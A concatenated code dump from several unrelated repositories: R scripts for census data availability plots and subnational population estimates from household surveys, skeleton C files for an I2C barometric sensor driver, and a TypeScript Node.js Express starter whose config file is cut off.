s <- c(" ", " ", " ", " ", " ", "Guin-B.")
s_1 <- c(print(paste( "Mongolia", "Viet Nam", sep="\n")), " ", " ", " ", " ", " ")
s_2 <- c(" " , " ", "Uzbekistan", " ", " ", " ")
t <- c(" ", " ", print(paste("Turkmenistan","Ukraine", sep="\n")), "Zambia",
" ",
print(paste("Cabo Verde","Ghana", sep="\n")))
t_1 <- c(print(paste("Indonesia","Maldieves", "Papua N-G","Thailand", sep="\n")), " ", " ", " ", " ", " ")
t_2 <- c(" ", " ", " ", " ",
print(paste("Argentina", "Brazil", "DomRep", "Ecuador",
"Panama", "Venezuela", "Caribbean (EN/D)*", sep="\n")), " ")
u <- c("", " ", " ",
" ",
" ", "Sao T&P")
u_1 <- c(" ", " ", " ", " ",
print(paste("Caribbean ", "(EN/D)**",
"Jamaica", sep="\n")), " ")
u_2 <- c(" ", " ", " ",
print(paste("Namibia", "South Africa", sep="\n")),
" ", " ")
u_3 <- c("Bangladesh", " ", "Turkey", " ", " ", "")
v <- c("Sri Lanka", " ", " ", print(paste("Tanzania", "Zimbabwe", sep="\n")),
" ", "Niger")
v_1 <- c(" ", " ", " ", " ",
print(paste("Cuba", "Turks&C","Bolivia", "Guyana", "Paraguay", "Suriname", "Uruguay", sep="\n")), " ")
w <- c(" ", " ", " ", " ", " ", print(paste("Benin", "Gabon", sep="\n")))
x <- c(" ", "Tunisia", " ", print(paste("Angola", "Uganda", sep="\n")), " ", " ")
x_1 <- c(" "," ", " "," " , " ", "Cote d'Ivoire")
y <- c(" ", print(paste("Iraq", "Libya","Lebanon", "Syria", sep="\n")), " ", " ", " ", " ")
data_4_a <- data_4 %>%
filter(unfpa.regional.office == "LACRO") %>%
filter(census.year == 6)
data_4_a <- head(data_4_a, 7)
data_4_b <- data_4 %>%
filter(unfpa.regional.office == "LACRO") %>%
filter(census.year == 7)
data_4_b <- head(data_4_b, 4)
data_4_c <- rbind(data_4_a, data_4_b)
test <- anti_join(data_4,data_4_c )
# plot
ggplot() +
geom_dotplot(data_3, mapping = aes(x = census.year +0.06, fill="No data"),binwidth=0.10)+
geom_dotplot(test, mapping = aes(x = census.year-0.06, fill="Data available"), binwidth=0.10)+
geom_dotplot(data_4_c, mapping = aes(x = census.year-0.13, fill="Data available"), binwidth=0.10)+
facet_grid(unfpa.regional.office ~ .)+
labs(title = "Countries with CODs on Pop Stats and Census Schedule\n", x = " ", y = " ")+
scale_x_discrete(limit = c("2015", "2016", "2017", "2018", "2019", "2020",
"2021", "2022", "2023", "2024", "No data"),
labels = c("2015", "2016", "2017", "2018", "2019", "2020",
"2021", "2022", "2023", "2024", "No \n census"))+
scale_fill_manual(values = c("mistyrose3","green3"), name = "Data Availability",
labels = c("Unavailable", "Available"))+
theme_stata()+
theme(axis.line.y = element_blank(),axis.text.y = element_blank(), axis.ticks.y = element_blank(),
axis.line.x = element_line(colour = "cadetblue4", size = 0.8),
axis.text=element_text(size = 12, color = "cadetblue4"),
legend.position = "none", legend.title = element_text(size = 14, face = "bold"),
legend.text = element_text(size = 12),
title = element_text(size = 16, face = "bold"),
panel.grid.major.x = element_line(size = 0.6, colour = "cadetblue4"),
strip.text.y = element_text(size = 12, face = "bold", color = "darkslategrey", margin = margin(0.5,0.5,0.5,0.5, "cm")))+
# available
annotate("text", x=1.2, y=0.2, label = a, size=4, color = "darkseagreen3")+
annotate("text", x=2.2, y=0.3, label = b, size= 4, color = "darkseagreen3")+ # Tonga and Egypt
annotate("text", x=2.2, y=0.62, label = b_1, size= 4, color = "darkseagreen3")+ # Lesotho
annotate("text", x=3.35, y=0.1, label = c, size= 4, color = "darkseagreen3")+
annotate("text", x=4.32, y=0.2, label = d, size= 4, color = "darkseagreen3")+
annotate("text", x=5.32, y=0.2, label = e, size= 4, color = "darkseagreen3")+
annotate("text", x=6.3, y=0.2, label = f, size= 4, color = "darkseagreen3")+
annotate("text", x=6.4, y=0.3, label = f_1, size= 4, color = "darkseagreen3")+
annotate("text", x=7.4, y=0.1, label = g, size= 4, color = "darkseagreen3")+
annotate("text", x=8.4, y=0.18, label = h, size=4, color = "darkseagreen3")+
annotate("text", x=9.4, y=0.25, label = i, size= 4, color = "darkseagreen3")+
annotate("text", x=10.4, y=0.1, label = j, size= 4, color = "darkseagreen3")+
annotate("text", x=11.5, y=0.15, label = k, size= 4, color = "darkseagreen3")+
# not availabe
annotate("text", x=0.6, y=0.17, label = o, size= 4, color = "mistyrose3")+ # 1 country
annotate("text", x=1.6, y=0.28, label = l, size= 4, color = "mistyrose3")+ # 3 country
annotate("text", x=2.62, y=0.17, label = q, size= 4, color = "mistyrose3")+ # all but mozambique swaziland and madagascar
annotate("text", x=2.62, y=0.27, label = q_1, size= 4, color = "mistyrose3")+
annotate("text", x=3.57, y=0.5, label = r, size= 4, color = "mistyrose3")+
annotate("text", x=3.57, y=0.26, label = r_1, size= 4, color = "mistyrose3")+
annotate("text", x=4.7, y=0.23, label = s, size= 4, color = "mistyrose3")+
annotate("text", x=4.5, y=0.25, label = s_1, size= 4, color = "mistyrose3")+
annotate("text", x=4.5, y=0.23, label = s_2, size= 4, color = "mistyrose3")+
annotate("text", x=5.55, y=0.55, label = t, size= 4, color = "mistyrose3")+
annotate("text", x=5.65, y=0.7, label = t_1, size= 2.5, color = "mistyrose3")+ # APRO (Indonesia, etc)
annotate("text", x=5.4, y=0.48, label = t_2, size= 2.5, color = "mistyrose3")+ # LACRO
annotate("text", x=6.5, y=0.1, label = u, size= 4, color = "mistyrose3")+
annotate("text", x=6.5, y=0.7, label = u_1, size= 4, color = "mistyrose3")+ # LACRO
annotate("text", x=6.5, y=0.4, label = u_2, size= 4, color = "mistyrose3")+ # ESARO
annotate("text", x=6.65, y=0.65, label = u_3, size= 4, color = "mistyrose3")+ # Turkey
annotate("text", x=7.6, y=0.25, label = v, size= 4, color = "mistyrose3")+
annotate("text", x=8.3, y=0.5, label = v_1, size= 2.5, color = "mistyrose3")+
annotate("text", x=8.6, y=0.25, label = w, size= 4, color = "mistyrose3")+
annotate("text", x=9.6, y=0.25, label = x, size= 4, color = "mistyrose3")+
annotate("text", x=9.6, y=0.75, label = x_1, size= 4, color = "mistyrose3")+ # Cote dIvoire
annotate("text", x=10.6, y=0.5, label = y, size= 4, color = "mistyrose3")
footnote <- c("* Aruba", "Bahamas", "Barbados", "Belize", "Bermuda", "British Virgin Islands",
"Cayman Islands", "Saint Lucia", sep=", ")
footnote2 <- c("Anguilla", "Antigua and Barbuda", "Grenada", "Montserrat",
"Saint Kitts and Nevis", "Saint Vincent and the Grendines",
"Trinidad and Tobago")
<file_sep>/Household survey based estimation.R
### This code will estimate subnational popualtion by age and sex with WPP and household survey data for Burkina Faso in 2014 ###
# Set up ------------------------------------------------------------------
rm(list = ls())
#install.packages(c("tidyverse", "survey", "foreign", "data.table", "plyr", "dplyr", "magrittr", "ggplot2", "reshape2", "readr", "xlsx", "RCurl"))
library(dplyr)
library(magrittr)
library(tidyverse)
library(survey)
library(foreign)
library(data.table)
library(ggplot2)
library(reshape2)
library(readr)
library(xlsx)
library(httr)
options(scipen = 999) # disable scientific notation in R
options(survey.lonely.psu = "adjust")
# Set the link bellow to the folder where you save the data
#setwd("C:/Users/weny/Google Drive/2018/Humanitarian/Summer Workshops/WCARO/Data")
setwd("C:/Users/<NAME>/Google Drive/2018/Humanitarian/humanitarian")
# Set up ------------------------------------------------------------------
name <- "<NAME>"
latest_year <- 2014
# Read in WPP population data and select -------------------
national_data_female <- read.csv("./UN modelled estimates/WPP female_annual population by age_national level.csv"
, check.names = FALSE)
national_data_female <- national_data_female %>%
filter(country == name & year == latest_year)%>%
mutate(sex = "Female")
national_data_male <- read.csv("./UN modelled estimates/WPP male_annual population by age_national level.csv"
, check.names = FALSE)
national_data_male <- national_data_male%>%
filter(country == name & year == latest_year) %>%
mutate(sex = "Male")
population_data <- bind_rows(national_data_male, national_data_female) %>%
gather(key = "age", value = "national_population", -country, - year, -sex)
# Read in survey data -----------------------------------------------------
filename <- paste("Household surveys/", country, ".sav", sep ="")
raw_data <- read.spss(filename, to.data.frame = TRUE)
raw_data <- raw_data %>%
select(c("HHID","HV005", "HV021","HV022", "HV024",
"HV105.01","HV105.02","HV105.03","HV105.04","HV105.05","HV105.06","HV105.07","HV105.08","HV105.09","HV105.10","HV105.11","HV105.12","HV105.13","HV105.14","HV105.15","HV105.16","HV105.17","HV105.18","HV105.19","HV105.20",
"HV104.01","HV104.02","HV104.03","HV104.04","HV104.05","HV104.06","HV104.07","HV104.08","HV104.09","HV104.10","HV104.11","HV104.12","HV104.13","HV104.14","HV104.15","HV104.16","HV104.17","HV104.18","HV104.19","HV104.20"))
long_survey_data <- reshape(raw_data, varying = c(6:45), direction = "long", idvar = "HHID", sep = ".", timevar = "order")
survey_data <- long_survey_data[!is.na(long_survey_data$HV105),]
# Bring in complex survey format ------------------------------------------
survey <- svydesign(id = survey_data$HV021, # Primary sampling
strata = survey_data$HV022, # Strata used for standard errors
weights = survey_data$HV005/1000000, # HH sample weight
data = survey_data) # Data
# estimate share of sex/age groups by region
data <- as.data.frame(svytable(~HV024+HV105+HV104, survey))# prop.table(2))
names(data) <- c("region", "age", "sex", "frequency")
data$age <- as.numeric(as.character(data$age))
data <- data %>%
filter(!is.na(age))
data <- data %>%
dplyr::group_by(age,sex) %>%
mutate(total_age = sum(frequency)) %>%
mutate(percentage = ifelse( frequency != 0, frequency/total_age, 0))
# Merge data --------------------------------------------------------------
full_data <- merge(data, population_data, by = c("age", "sex"))
# calculate population numbers per region ---------------------------------
full_data <- full_data %>%
mutate(regional_population = as.numeric(percentage)*as.numeric(national_population)*1000) %>%
select(c(age, sex, region, regional_population))
full_data$age <- as.numeric(as.character(full_data$age))
full_data$age_group <- ifelse(0 <= full_data$age & full_data$age < 5, "0-4",
ifelse(5 <= full_data$age & full_data$age < 10, "5-9",
ifelse(10 <= full_data$age & full_data$age < 15, "10-14",
ifelse(15 <= full_data$age & full_data$age < 20, "15-19",
ifelse(20 <= full_data$age & full_data$age < 25, "20-24",
ifelse(25 <= full_data$age & full_data$age < 30, "25-29",
ifelse(30 <= full_data$age & full_data$age < 35, "30-34",
ifelse(35 <= full_data$age & full_data$age < 40, "35-39",
ifelse(40 <= full_data$age & full_data$age < 45, "40-44",
ifelse(45 <= full_data$age & full_data$age < 50, "45-49",
ifelse(50 <= full_data$age & full_data$age < 55, "50-54",
ifelse(55 <= full_data$age & full_data$age < 60, "55-59",
ifelse(60 <= full_data$age & full_data$age < 65, "60-64",
ifelse(65 <= full_data$age & full_data$age < 70, "65-69",
ifelse(70 <= full_data$age & full_data$age < 75, "70-74",
ifelse(75 <= full_data$age & full_data$age < 80, "75-79",
ifelse(80 <= full_data$age, "80+", NA)))))))))))))))))
# 5 year age groups -------------------------------------------------------
# Women
women <- full_data %>%
filter(sex == "Female")
women <- aggregate(women[,sapply(women,is.numeric)],women[c("age_group", "region")],sum)
# Men
men <- full_data %>%
filter(sex == "Male")
men <- aggregate(men[,sapply(women,is.numeric)],men[c("age_group", "region")],sum)
# Export data -------------------------------------------------------------
write.xlsx(as.data.frame(women), "./Results/women_5year.xlsx")
write.xlsx(as.data.frame(men), "./Results/men_5year.xlsx")
# visualize with pop pyramid ----------------------------------------------
regions <- unique(full_data$region)
for(i in regions){
temp <- full_data %>%
filter(region == i)
temp <- temp[order(as.numeric(as.character(temp$age))),]
temp <- temp %>%
mutate(age = factor(x = age, levels = unique(age)))
g <- ggplot(temp, mapping = aes(x = age, y = regional_population, fill = sex,
label=round(regional_population, digits = 2)))+
geom_bar(stat = "identity", mapping = aes(y = ifelse(temp$sex == "Male", -regional_population, regional_population)))+
coord_flip() +
scale_fill_manual(values=c("darkorange", "dodgerblue3"))+
scale_y_continuous(labels = abs, limits = c(-max(temp$regional_population), max(temp$regional_population)))+
scale_x_discrete(breaks = c("0", "5", "10", "15", "20", "25", "30", "35", "40", "45", "50", "55", "60",
"65", "70", "75", "80", "85", "90", "95", "100"),
labels = c("0", "5", "10", "15", "20", "25", "30", "35", "40", "45", "50", "55", "60",
"65", "70", "75", "80", "85", "90", "95", "100")) +
labs(x = "Age", y = "Population in thousands", fill = "Sex")+
theme(panel.grid.major = element_blank(), panel.grid.minor = element_blank(),
panel.background = element_rect(fill="aliceblue"), axis.line = element_line(colour="gray59"),
strip.text = element_text(size=15),
strip.background =element_rect(fill="white"),
panel.spacing.x = unit(3,"lines"))
filename <- paste(i, ".pdf", sep="")
ggsave(filename, device="pdf", path="./Results/Population pyramids", g, scale= .5, width = 18, height = 14, units="in")
}
<file_sep>/Total population.R
source("Household survey based estimation.R")
# Total population --------------------------------------------------------
Total_population <- full_data %>%
select(c(region, regional_population))
Total_population <- Total_population %>%
group_by(region) %>%
mutate(TotalPop = sum(regional_population, na.rm = T))
Total_population <- Total_population %>%
select(c(region, TotalPop))
Total_population <- Total_population[!duplicated(Total_population), ]
write.xlsx(as.data.frame(Total_population), "./4- Results/1- Population Figures/Total_population.xlsx")<file_sep>/Women of reproductive age.R
source("Household survey based estimation.R")
# Women of reproductive age -----------------------------------------------
WRA <- full_data %>%
filter(sex == "Female" & (15 <= as.numeric(as.character(age)) & as.numeric(as.character(age)) < 50))
WRA <- WRA %>%
group_by(region) %>%
mutate(NRofWRA = sum(regional_population))
WRA <- WRA %>%
select(c(region, NRofWRA))
WRA <- WRA[!duplicated(WRA), ]
write.xlsx(as.data.frame(WRA), "./4- Results/1- Population Figures/women_repr_age.xlsx")<file_sep>/demog.data.quality.assessment.R
##==================================================================
## Project: COD-PS Assessment and Construction, Burkina Faso
## Script purpose: script to implement demog data quality assessment
##
## Date created: 21 July, 2018
## Last updated: 27 July, 2018
##
## Author: <NAME>
## Maintainers: <NAME>, <NAME>
##==================================================================
print("+-----------------------------------------+")
print("Now running demog.data.quality.assessment.R")
print("+-----------------------------------------+")
##==================================================================
## Section: Graphical Inspection of Age-Sex Pyramids
## Draw one-year age/sex pyramids at ADM0, ADM1, ADM2
## using available survey, census data
## ADM0
Pyramid(males=as.numeric(male.adm0.census1$sum_age),
females=as.numeric(female.adm0.census1$sum_age),
year = 2008,
verbose = FALSE,
grid.lty=1,
v.lty = 2,
coh.axis = TRUE,
border.males="black",
border.females="black",
xlab = "Population (1000s)",
ylab.left = "Year",
ylab.right = "Birth Cohort",
main = "Enumerated Census Population, Liberia, 2008",
prop = FALSE,
fill.males = "orange",
fill.females = "yellow"
)
## ADM1
## Refactor this into a for loop that loops over the respective provinces one by one
Pyramid(males=male.adm1.census1[1:90,2],
females=female.adm1.census1[1:90,2],
year = 2006,
verbose = FALSE,
grid.lty=1,
v.lty = 2,
coh.axis = TRUE,
border.males="black",
border.females="black",
xlab = "Population (1000s)",
ylab.left = "Year",
ylab.right = "Birth Cohort",
main = "Enumerated Census Population, Burkina Faso, 2006",
prop = FALSE,
fill.males = "orange",
fill.females = "yellow"
)
##================================================================
## Section: General Age-Sex Diagnostics
## Sex Ratio: the number of males per 100 females in the same age class
## Sex-ratios should 'ordinarily change only very gradually from
## one age to another, as they are determined mainly by the sex
## ratio of births and sex differences in mortality at various ages.
sexRatioScore(male.adm0.census5$sum_age[1:18],
female.adm0.census5$sum_age[1:18],
seq(0,85,5))##
##Age Ratio
ageRatioScore(male.adm0.census5$sum_age[1:18],
seq(0,85,5),
ageMax = 85)
ageRatioScore(female.adm0.census5$sum_age[1:18],
seq(0,85,5),
ageMax = 85)
ageRatioScore(total.adm0.census5$sum_age[1:18],
seq(0,85,5),
ageMax = 85)
ageRatioScore(Females, Age, ageMax = 85)
ageRatioScore(Males, Age, ageMax = 85)
##================================================================
## United NAtions Age Ratio Index
## applicable where single-year age data are not available.
## composite consisting in the sum of thrice the sex ratio
## index plus the age ratio index for males and females.
## Age- ratio = 100 times the number of persons in a given age class
## divided by the arithmetic average of numbers in the two adjoining age categories.
## Age-ratios should ordinarily deviate very little from 100, except at
## advanced ages or as a result of major fluctuations in past birth rates.
Age <- 0:85
aRS.adm0.census.m <- ageRatioScore(Value = male.adm0.census1$sum_age[1:86],
Age,
ageMin = 0,
ageMax = max(Age),
method = "UN",
OAG = TRUE)
aRS.adm0.census.f <- ageRatioScore(Value = female.adm0.census5[1:99,
2],
Age = 0:98,
ageMin = 0,
ageMax = max(Age),
method = "UN",
OAG = TRUE)
aRS.adm0.census.t <- ageRatioScore(Value = total.adm0.census5[1:99,
2],
Age = 0:98,
ageMin = 0,
ageMax = max(Age),
method = "UN",
OAG = TRUE)
##================================================================
## Section: Age Heaping Diagnostics
##
## Whipple's Index (measure of digit preference for ages ending in 0 and 5)
## obtained "by summing the age returns between 23 and 62 years
## inclusive and finding what percentage is borne by the sum of the
## returns of years ending in 5 and 0 to one-fifth of the total sum
whipple.adm0.m <- Whipple(male.adm0.census1$sum_age[1:86],
Age = 0:85,
ageMin = 25,
ageMax = 62,
digit = c(0,5)
)
whipple.adm0.f <- Whipple(female.adm0.census1$sum_age[1:86],
Age = 0:85,
ageMin = 25,
ageMax = 62,
digit = c(0,5)
)
whipple.adm0.t <- Whipple(total.adm0.census1$sum_age[1:86],
Age = 0:85,
ageMin = 25,
ageMax = 62,
digit = c(0,5)
)
## Myers' Blended Index for age heaping based on digit preference
## Myers' index reflects preferences or dislikes for each of the
## ten digits, from 0 to 9.
##
## Large numbers mean more bias in digit preference.
## Interpret as percent of population that would need to be moved
## to a different age category for there to be no noticeable
## pattern of preference in age declaration.
MyersI.adm0.m <- MyersI(male.adm0.census1$sum_age[1:86],
0:85)
MyersI.adm0.f <- MyersI(female.adm0.census1$sum_age[1:86],
0:85)
MyersI.adm0.t <- MyersI(total.adm0.census1$sum_age[1:86],
0:85)
## Noumbissi
## Noumbissi's method improves on Whipple's method by
## extending its basic principle to all ten digits.
## It compares single terminal digit numerators to
## denominators consisting in 5-year age groups centered
## on the digit in question.
Noumbissi.adm0.census.m <- rep(0,10)
for (i in 1:10) {
Noumbissi.adm0.census.m[i] <- Noumbissi(male.adm0.census1$sum_age[1:86],
0:85,
ageMin=20,
ageMax=65,
digit=i-1)
}
Noumbissi.adm0.census.m
Noumbissi.adm0.census.f <- rep(0,10)
for (i in 1:10) {
Noumbissi.adm0.census.f[i] <- Noumbissi(female.adm0.census1$sum_age[1:86],
0:85,
ageMin=20,
ageMax=65,
digit=i-1)
}
Noumbissi.adm0.census.f
##=========================================================
## Age Smoothing/Adjustment Techniques
##
## splitMono
## split 5-year age groups into 1-year age groups, by fitting
## a monotonic spline function
male <- structure(table(census.data$AGE2[census.data$SEX==1]),
.Names=c("0","5","10","15","20","25","30","40","45","50","55","60","65","70","75","80","85"))
female <- structure(table(census.data$AGE2[census.data$SEX==2]),
.Names=c("0","5","10","15","20","25","30","40","45","50","55","60","65","70","75","80","85"))
Pyramid(males=splitMono(male),
females=splitMono(female),
year = 2008,
verbose = FALSE,
grid.lty=1,
v.lty = 2,
coh.axis = TRUE,
border.males="black",
border.females="black",
xlab = "Population (1000s)",
ylab.left = "Year",
ylab.right = "Birth Cohort",
main = "Smoothed Census Population, Liberia, 2008",
prop = FALSE,
fill.males = "orange",
fill.females = "yellow"
)
## adjustAge
## Proportionally adjust population counts by age to a given total
## useful for ratio-based projection
## spragueSimple
## To do, compare with splitMono result
|
5bf0ad866e255c0443b6a66312e2d6cf0631e264
|
[
"R"
] | 9
|
R
|
kathrinwy/humanitarian
|
a860da181c763a195a1654a8cff05d4f5967c762
|
947c39463593ea8feb83985944ffcff718dbd581
|
refs/heads/master
|
<file_sep># I2C Barometric Sensor Project - MPL115A2
## Embedded Philly
# Overview
This document outlines the project goals for developing a set of code
resources for easy, platform independent functionality of the MPL115A2
barometric pressure sensor.
# Project Components
This project has three major components. The interface should be
designed first. The barometric sensor protocol & and lower level I2C
driver can be implemented in parallel, provided those working on it have
agreed on the interface ahead of time.
## Design of an I2C Hardware Abstracted Interface
This will be a common interface that can be used across platforms that
support I2C communication. It will likely be in the form of a .h file
that makes use of all the functionality of the communication interface.
To complete this part of the project, you should do some research on I2C
communication standards, and determine the best way to support all the
functionality of the protocol.
I2C can operate in several modes. You will only need to use one of these
modes for this project, but make sure your interface will be able to
support all of the modes of the protocol for any future uses of the
interface in other projects.
## Implementation of the Barometric Pressure Sensor Protocol Using the I2C Interface
This will be a module that assumes the I2C driver already exists, and,
given the functionality in the interface, creates an easy to use
interface & implementation for the sensor itself.
For example, Table 5 of the datasheet outlines 6 I2C commands that can
be used to read information from the sensor. Implement an interface that
uses the I2C hardware interface to create this higher-level protocol.
This is the kind of module that should be implemented using TDD. Since
you have function stubs for all of the hardware abstraction interface
functions, you will be able to fake these functions using Ceedling.
## Implementation of the I2C Hardware Abstracted Interface
This is the module that will use hardware level access functions for the
board you are working on. Implement all the functions in the interface
so that from outside of the interface, you don't need to know anything
about the interiors of the chip.
Many of these functions may already be implemented by the chip
manufacturer, but it is important to abstract them to a common interface
so that the higher-level barometric pressure module can be used
independently of the lower level functions of the chip. This keeps the
sensor platform agnostic
This portion of the project will likely need to be tested using a logic
analyzer and the hardware itself, which we have available.
# End Results & Directory Structure
This project should result in 4 files:
1. `I2C_HAL.h` -> This should be placed in the HALinterfaces repository
2. `[platform]_I2C.c` -> This will implement I2C_HAL.h and will live in
a repository for a library specific to your platform.
3. (and 4) `BarometricSensor.c` & `BarometricSensor.h` -> These will live in a
sensor repository.
For the purposes of development, all the files are included in this
repository. We will deprecate this repository once the project has been
completed.
For now, all files can be found in this repository, in the respective
src/ and inc/ folders.
In the doc/ folder, you can find the datasheet for the chip.
<file_sep>#ifndef BAROMETRIC_SENSOR_H
#define BAROMETRIC_SENSOR_H
/****************************INCLUDED FILES***********************************/
#include "I2C_HAL.h"
/*********************EXPORTED TYPES & DEFINITIONS****************************/
/*********************EXPORTED FUNCTION DECLARATIONS**************************/
#endif /* BAROMETRIC_SENSOR_H */
<file_sep>#ifndef PLATFORM_I2C_C
#define PLATFORM_I2C_C
/****************************INCLUDED FILES***********************************/
#include "I2C_HAL.h"
/*********************PRIVATE TYPES & DEFINITIONS****************************/
/**************************PRIVATE VARIABLES*********************************/
/*********************PRIVATE FUNCTION DECLARATIONS**************************/
/*********************EXPORTED FUNCTION DEFINITIONS**************************/
/*********************PRIVATE FUNCTION DEFINITIONS***************************/
#endif /* BAROMETRIC_SENSOR_C */
<file_sep>#ifndef BAROMETRIC_SENSOR_C
#define BAROMETRIC_SENSOR_C
/****************************INCLUDED FILES***********************************/
#include "BarometricSensor.h"
/*********************PRIVATE TYPES & DEFINITIONS****************************/
/**************************PRIVATE VARIABLES*********************************/
/*********************PRIVATE FUNCTION DECLARATIONS**************************/
/*********************EXPORTED FUNCTION DEFINITIONS**************************/
/*********************PRIVATE FUNCTION DEFINITIONS***************************/
#endif /* BAROMETRIC_SENSOR_C */
<file_sep>#ifndef I2C_HAL_H
#define I2C_HAL_H
/****************************INCLUDED FILES***********************************/
/*********************EXPORTED TYPES & DEFINITIONS****************************/
/*********************EXPORTED FUNCTION DECLARATIONS**************************/
#endif /* I2C_HAL_H */
|
9b715808fa2a9e796ad42a7242d663fc0bf31d71
|
[
"Markdown",
"C"
] | 5
|
Markdown
|
embeddedphilly/BarometricSensor
|
d12603e563b6d61547a4c69735cd53f304ea9460
|
883fea96519890aa4bac21091b820a4a0784e544
|
refs/heads/master
|
<file_sep>/// <reference path="../../../typings/tsdx.d.ts" />
var path = require('path'),
winston = require('winston');
var opts = {
timestamp: function () {
return new Date().toISOString();
},
colorize: true,
filename: process.env.loggerPath
};
var logger = new winston.Logger({
levels: {
debug: 0,
info: 1,
warn: 2,
error: 3
},
transports: [
new (winston.transports.Console)(opts),
new (winston.transports.File)(opts)
]
});
export default logger;
<file_sep>declare module 'express' {
var _:any;
export default _;
}<file_sep>declare module 'oauth2-server' {
var _:any;
export default _;
}<file_sep>declare module 'serve-favicon' {
var _:any;
export default _;
}<file_sep>declare module 'winston' {
var _:any;
export default _;
}<file_sep>declare module 'body-parser' {
var _:any;
export default _;
}<file_sep>declare module 'passport' {
var _:any;
export default _;
}<file_sep>import Animal from './../interfaces/Animal';
import FoodType from './../enums/FoodType';
export default class Dog implements Animal {
age:number;
foodType:FoodType;
isPet:boolean;
petName:string;
constructor(age:number, foodType:FoodType, isPet:boolean, petName?:string) {
this.age = age
this.foodType = foodType;
this.isPet = isPet;
this.petName = petName;
}
}
<file_sep>/// <reference path="../../../custom-definitions/server.d.ts" />
/// <reference path="../../../typings/tsdx.d.ts" />
import minimist from 'minimist';
var argv = minimist(process.argv.slice(2));
var ConfigUtils = {
getConfigPath(): string {
if (!argv.c && !process.env.configServerPath) {
throw new Error('Missing configuration path argument, must start node with "-c CONFIG_FILE_PATH" or with var env "configServerPath"');
}
var path = argv.c ? argv.c : process.env.configServerPath;
return require(path);
}
};
export = ConfigUtils;
<file_sep>declare module 'minimist' {
var _:any;
export default _;
}<file_sep>declare module 'mime' {
var _:any;
export default _;
}<file_sep>{
"compilerOptions": {
"module": "commonjs",
"target": "es5",
"sourceMap": true,
"outDir": "dist"
},
"filesGlob": [
"./typings/tsdx.d.ts",
"./custom-definitions/server.d.ts",
"./src/server/**/*.ts"
],
"files": [
"./typings/tsdx.d.ts",
"./custom-definitions/server.d.ts",
"./src/server/app.ts",
"./src/server/utils/configUtils.ts",
"./src/server/routes/auth.ts",
"./src/server/interfaces/Animal.ts",
"./src/server/enums/FoodType.ts",
"./src/server/config/config.ts",
"./src/server/config/logger.ts",
"./src/server/classes/Dog.ts",
"./src/server/classes/User.ts"
]
}<file_sep>declare module 'cookie-parser' {
var _:any;
export default _;
}<file_sep>/// <reference path="../../typings/tsdx.d.ts" />
/// <reference path="../../custom-definitions/server.d.ts" />
import bodyParser from 'body-parser';
import * as configUtils from './utils/configUtils';
import cookieParser from 'cookie-parser';
import * as cluster from 'cluster';
import express from 'express';
import favicon from 'serve-favicon';
import helmet from 'helmet';
import passport from 'passport';
import OAuth2Strategy from 'passport-oauth2';
import * as os from 'os';
var config = configUtils.getConfigPath();
import logger from './config/logger';
import Dog from './classes/Dog';
import Animal from './interfaces/Animal';
import FoodType from './enums/FoodType';
if (cluster.isMaster) {
var cpuCount:number = os.cpus().length;
for (var i = 0; i < cpuCount; i += 1) {
cluster.fork();
}
} else {
var app = express();
app.use(bodyParser.urlencoded({extended: true}));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(helmet()); // config https://www.npmjs.com/package/helmet
app.use(express.static(__dirname + '/public'));
/*
passport.use(new OAuth2Strategy(config.oauth2.options,
function (accessToken, refreshToken, profile, done) {
logger.info('accessToken ' + accessToken);
logger.info('refreshToken ' + refreshToken);
logger.info('profile ' + profile);
done();
}
));
app.use(passport.initialize());
app.use(passport.session());
*/
var server = app.listen(3000, ()=> {
var host = server.address().address;
var port = server.address().port;
logger.info('Example app listening at http://%s:%s', host, port);
});
app.get('/test', (req, res)=> {
var doge:Dog = new Dog(1, FoodType.Carnivorous, true, 'Doge');
res.send(200, doge);
});
}
/*
app.get('/login',
passport.authenticate('oauth2', { successRedirect: '/test',
failureRedirect: '/fail' }));
app.get('/t', passport.authenticate('oauth2', {failureRedirect: '/fail'}), (req, res)=> {
res.send(200, 'fail');
});
app.get('/fail', (req, res)=> {
res.send(200, 'fail');
});*/
<file_sep>declare module 'helmet' {
var _:any;
export default _;
}<file_sep># nodejs-typescript
# Pré-requis
NPM is require.
* ``` npm install -g typescript ```
* ``` npm install ```
* ``` tsd install ```
# GULP/NPM
## Lancer le serveur
``` gulp serve ``` ou ``` npm start ```
## Lancer le serveur de mock pour l'oauth2
``` gulp oauth ```
# Utiliser le générateur de définition file pour Typescript
Il suffit de lancer le script dts.generator.js via la commande ```node ``` dans le dossier /tools et d'ajouter en argument les nouvelles dépendances JS installées dont vous voulez générer les fichiers d.ts par defaut.
Exemple : ```node dts.generator.js express passport winston```
# Utiliser l'outil de mise à jour du fichier tsconfig.json pour les paths des fichiers .ts
Il suffit de lancer le script updateTSConfig.js via la commande ``` node ``` dans le dossier /tools.
# Importants
[PROTIPS page](PROTIPS.md)
# Outils
IDE compatible avec Typescript :
* Webstorm >=v11
* Atom (atom-typescript module)
* Virtual studio (PC only)
* SublimeText 3 (T3S module) [Link](https://www.airpair.com/typescript/posts/typescript-development-with-gulp-and-sublime-text)
# Liens
## Prez blemoine (BBL)
* [http://blemoine.github.io/typescript-slides/](http://blemoine.github.io/typescript-slides/)
## Setup de projet
* [https://pontifex.azurewebsites.net/my-typescript-project-structure-with-gulp/](https://pontifex.azurewebsites.net/my-typescript-project-structure-with-gulp/)
* [http://blog.geraldpereira.com/rest/crud/2015/09/10/nodejs-express-typescript.html](http://blog.geraldpereira.com/rest/crud/2015/09/10/nodejs-express-typescript.html)
## Handbook / Cheat sheet
* [http://www.typescriptlang.org/Handbook](http://www.typescriptlang.org/Handbook)
* [https://www.sitepen.com/blog/2013/12/31/typescript-cheat-sheet/](https://www.sitepen.com/blog/2013/12/31/typescript-cheat-sheet/) (maybe outdated)
* [https://www.sitepen.com/blog/2013/12/31/definitive-guide-to-typescript/](https://www.sitepen.com/blog/2013/12/31/definitive-guide-to-typescript/) (maybe outdated)
## Tuto
* [http://www.codeproject.com/Articles/871622/Writing-a-chat-server-using-Node-js-TypeScript-and](http://www.codeproject.com/Articles/871622/Writing-a-chat-server-using-Node-js-TypeScript-and)
* [https://github.com/Microsoft/TypeScriptSamples/tree/master/imageboard](https://github.com/Microsoft/TypeScriptSamples/tree/master/imageboard)
* [https://www.youtube.com/watch?v=KBLE4muNhE8](https://www.youtube.com/watch?v=KBLE4muNhE8) (NodeJS with Typescript from scratch)
<file_sep>/// <reference path="../../../typings/tsdx.d.ts" />
process.env.loggerPath = process.env.loggerPath ? process.env.loggerPath : '/var/log/server.log';
var config = {
oauth2: {
